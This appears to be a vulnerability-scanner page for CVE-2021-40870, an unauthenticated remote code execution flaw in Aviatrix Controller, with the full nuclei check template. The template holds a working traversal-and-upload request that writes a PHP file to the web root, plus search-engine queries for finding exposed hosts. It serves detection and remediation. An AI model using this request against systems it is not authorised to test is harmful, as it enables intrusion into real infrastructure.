Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

93%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.

How to confirm it

Send: POST /v1/backend1 ; GET /v1/{{randstr}}.php
Positive when: contains in body_2 "{{md5(string)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40870 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-40870

info:
  name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
  reference:
    - https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
    - https://wearetradecraft.com/advisories/tc-2021-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40870
    - http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40870
    cwe-id: CWE-23
    epss-score: 0.93019
    epss-percentile: 0.99833
    cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: aviatrix
    product: controller
    shodan-query: http.title:"aviatrix cloud controller"
    fofa-query: title="aviatrix cloud controller"
    google-query: intitle:"aviatrix cloud controller"
  tags: cve2021,cve,intrusive,packetstorm,rce,aviatrix,kev,fileupload,vkev,vuln
variables:
  string: "CVE-2021-40870"

http:
  - raw:
      - |
        POST /v1/backend1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        GET /v1/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from